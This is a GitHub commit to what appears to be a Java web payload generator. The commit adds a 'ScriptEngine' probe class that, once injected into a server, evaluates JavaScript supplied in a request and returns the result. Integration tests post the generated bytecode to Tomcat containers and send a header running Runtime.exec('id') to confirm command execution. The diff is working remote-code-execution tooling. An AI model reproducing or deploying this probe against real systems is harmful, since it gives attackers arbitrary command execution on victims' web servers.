Skip to content

Commit cdb90b6

Browse files
committed
feat: support script engine probe
1 parent fb5b39a commit cdb90b6

File tree

16 files changed

+146
-13
lines changed

16 files changed

+146
-13
lines changed

generator/src/main/java/com/reajason/javaweb/probe/ProbeContent.java

Lines changed: 2 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -10,5 +10,6 @@ public enum ProbeContent {
1010
JDK,
1111
Bytecode,
1212
Command,
13-
BasicInfo
13+
BasicInfo,
14+
ScriptEngine
1415
}

generator/src/main/java/com/reajason/javaweb/probe/generator/response/ResponseBodyGenerator.java

Lines changed: 3 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -9,6 +9,7 @@
99
import com.reajason.javaweb.probe.generator.ByteBuddyShellGenerator;
1010
import com.reajason.javaweb.probe.payload.ByteCodeProbe;
1111
import com.reajason.javaweb.probe.payload.CommandProbe;
12+
import com.reajason.javaweb.probe.payload.ScriptEngineProbe;
1213
import com.reajason.javaweb.probe.payload.response.*;
1314
import com.reajason.javaweb.utils.ShellCommonUtil;
1415
import net.bytebuddy.ByteBuddy;
@@ -51,6 +52,8 @@ private Class<?> getRunnerClass() {
5152
return CommandProbe.class;
5253
case Bytecode:
5354
return ByteCodeProbe.class;
55+
case ScriptEngine:
56+
return ScriptEngineProbe.class;
5457
default:
5558
throw new GenerationException("responseBody not supported for probe content: " + probeConfig.getProbeContent());
5659
}
Lines changed: 34 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,34 @@
1+
package com.reajason.javaweb.probe.payload;
2+
3+
import lombok.SneakyThrows;
4+
import net.bytebuddy.asm.Advice;
5+
6+
import javax.script.ScriptEngine;
7+
import javax.script.ScriptEngineManager;
8+
9+
/**
10+
* @author ReaJason
11+
* @since 2025/11/18
12+
*/
13+
public class ScriptEngineProbe {
14+
private final String script;
15+
16+
public ScriptEngineProbe(String script) {
17+
this.script = script;
18+
}
19+
20+
@Advice.OnMethodExit
21+
public static String exit(@Advice.Argument(0) String data, @Advice.Return(readOnly = false) String ret) throws Exception {
22+
ScriptEngine js = new ScriptEngineManager().getEngineByName("js");
23+
if (js == null) {
24+
return ret = "js engine is null";
25+
}
26+
return ret = js.eval(data).toString();
27+
}
28+
29+
@Override
30+
@SneakyThrows
31+
public String toString() {
32+
return ScriptEngineProbe.exit(script, super.toString());
33+
}
34+
}
Lines changed: 18 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,18 @@
1+
package com.reajason.javaweb.probe.payload;
2+
3+
import org.junit.jupiter.api.Test;
4+
5+
import static org.junit.jupiter.api.Assertions.*;
6+
7+
/**
8+
* @author ReaJason
9+
* @since 2025/11/18
10+
*/
11+
class ScriptEngineProbeTest {
12+
13+
@Test
14+
void test(){
15+
String hello = new ScriptEngineProbe("1 + 1").toString();
16+
assertEquals("2", hello);
17+
}
18+
}

integration-test/src/test/java/com/reajason/javaweb/integration/ProbeAssertion.java

Lines changed: 32 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -110,4 +110,36 @@ public static void responseCommandIsOk(String url, String server, int targetJreV
110110
));
111111
}
112112
}
113+
114+
@SneakyThrows
115+
public static void responseScriptEngineIsOk(String url, String server, int targetJreVersion) {
116+
ProbeConfig probeConfig = ProbeConfig.builder()
117+
.probeMethod(ProbeMethod.ResponseBody)
118+
.probeContent(ProbeContent.ScriptEngine)
119+
.debug(true)
120+
.shrink(true)
121+
.staticInitialize(true)
122+
.targetJreVersion(targetJreVersion)
123+
.build();
124+
String headerName = "X-Header";
125+
ResponseBodyConfig responseBodyConfig = ResponseBodyConfig.builder()
126+
.server(server)
127+
.reqParamName(headerName)
128+
.build();
129+
ProbeShellResult probeResult = ProbeShellGenerator.generate(probeConfig, responseBodyConfig);
130+
String content = probeResult.getShellBytesBase64Str();
131+
RequestBody requestBody = new FormBody.Builder()
132+
.add("data", content)
133+
.build();
134+
Request request = new Request.Builder()
135+
.header("Content-Type", "application/x-www-form-urlencoded")
136+
.header(headerName, "new java.util.Scanner(java.lang.Runtime.getRuntime().exec('id').getInputStream()).useDelimiter('\\A').next()")
137+
.url(url + "/b64").post(requestBody)
138+
.build();
139+
try (Response response = new OkHttpClient().newCall(request).execute()) {
140+
assertThat(response.body().string(), anyOf(
141+
containsString("uid=")
142+
));
143+
}
144+
}
113145
}

integration-test/src/test/java/com/reajason/javaweb/integration/probe/tomcat/Tomcat10ContainerTest.java

Lines changed: 8 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -6,7 +6,7 @@
66
import com.reajason.javaweb.integration.probe.DetectionTool;
77
import lombok.SneakyThrows;
88
import lombok.extern.slf4j.Slf4j;
9-
import net.bytebuddy.jar.asm.Opcodes;
9+
import org.objectweb.asm.Opcodes;
1010
import org.junit.jupiter.api.Test;
1111
import org.testcontainers.containers.GenericContainer;
1212
import org.testcontainers.containers.wait.strategy.Wait;
@@ -63,6 +63,13 @@ void testCommandReqHeaderResponseBody() {
6363
ProbeAssertion.responseCommandIsOk(url, Server.Tomcat, Opcodes.V11);
6464
}
6565

66+
@Test
67+
@SneakyThrows
68+
void testScriptEngineReqHeaderResponseBody() {
69+
String url = getUrl(container);
70+
ProbeAssertion.responseScriptEngineIsOk(url, Server.Tomcat, Opcodes.V11);
71+
}
72+
6673
@Test
6774
@SneakyThrows
6875
void testBytecodeReqParamResponseBody() {

integration-test/src/test/java/com/reajason/javaweb/integration/probe/tomcat/Tomcat5ContainerTest.java

Lines changed: 7 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -71,6 +71,13 @@ void testCommandReqHeaderResponseBody() {
7171
ProbeAssertion.responseCommandIsOk(url, Server.Tomcat, Opcodes.V1_6);
7272
}
7373

74+
@Test
75+
@SneakyThrows
76+
void testScriptEngineReqHeaderResponseBody() {
77+
String url = getUrl(container);
78+
ProbeAssertion.responseScriptEngineIsOk(url, Server.Tomcat, Opcodes.V1_6);
79+
}
80+
7481
@Test
7582
@SneakyThrows
7683
void testBytecodeReqParamResponseBody() {

integration-test/src/test/java/com/reajason/javaweb/integration/probe/tomcat/Tomcat6ContainerTest.java

Lines changed: 7 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -63,6 +63,13 @@ void testCommandReqHeaderResponseBody() {
6363
ProbeAssertion.responseCommandIsOk(url, Server.Tomcat, Opcodes.V1_6);
6464
}
6565

66+
@Test
67+
@SneakyThrows
68+
void testScriptEngineReqHeaderResponseBody() {
69+
String url = getUrl(container);
70+
ProbeAssertion.responseScriptEngineIsOk(url, Server.Tomcat, Opcodes.V1_6);
71+
}
72+
6673
@Test
6774
@SneakyThrows
6875
void testBytecodeReqParamResponseBody() {

integration-test/src/test/java/com/reajason/javaweb/integration/probe/tomcat/Tomcat7ContainerTest.java

Lines changed: 8 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -6,7 +6,7 @@
66
import com.reajason.javaweb.integration.probe.DetectionTool;
77
import lombok.SneakyThrows;
88
import lombok.extern.slf4j.Slf4j;
9-
import net.bytebuddy.jar.asm.Opcodes;
9+
import org.objectweb.asm.Opcodes;
1010
import org.junit.jupiter.api.Test;
1111
import org.junitpioneer.jupiter.RetryingTest;
1212
import org.testcontainers.containers.GenericContainer;
@@ -65,6 +65,13 @@ void testCommandReqHeaderResponseBody() {
6565
ProbeAssertion.responseCommandIsOk(url, Server.Tomcat, Opcodes.V1_7);
6666
}
6767

68+
@Test
69+
@SneakyThrows
70+
void testScriptEngineReqHeaderResponseBody() {
71+
String url = getUrl(container);
72+
ProbeAssertion.responseScriptEngineIsOk(url, Server.Tomcat, Opcodes.V1_7);
73+
}
74+
6875
@Test
6976
@SneakyThrows
7077
void testBytecodeReqParamResponseBody() {

integration-test/src/test/java/com/reajason/javaweb/integration/probe/tomcat/Tomcat8ContainerTest.java

Lines changed: 8 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -6,7 +6,7 @@
66
import com.reajason.javaweb.integration.probe.DetectionTool;
77
import lombok.SneakyThrows;
88
import lombok.extern.slf4j.Slf4j;
9-
import net.bytebuddy.jar.asm.Opcodes;
9+
import org.objectweb.asm.Opcodes;
1010
import org.junit.jupiter.api.Test;
1111
import org.testcontainers.containers.GenericContainer;
1212
import org.testcontainers.containers.wait.strategy.Wait;
@@ -64,6 +64,13 @@ void testCommandReqHeaderResponseBody() {
6464
ProbeAssertion.responseCommandIsOk(url, Server.Tomcat, Opcodes.V1_8);
6565
}
6666

67+
@Test
68+
@SneakyThrows
69+
void testScriptEngineReqHeaderResponseBody() {
70+
String url = getUrl(container);
71+
ProbeAssertion.responseScriptEngineIsOk(url, Server.Tomcat, Opcodes.V1_8);
72+
}
73+
6774
@Test
6875
@SneakyThrows
6976
void testBytecodeReqParamResponseBody() {

0 commit comments

Comments
 (0)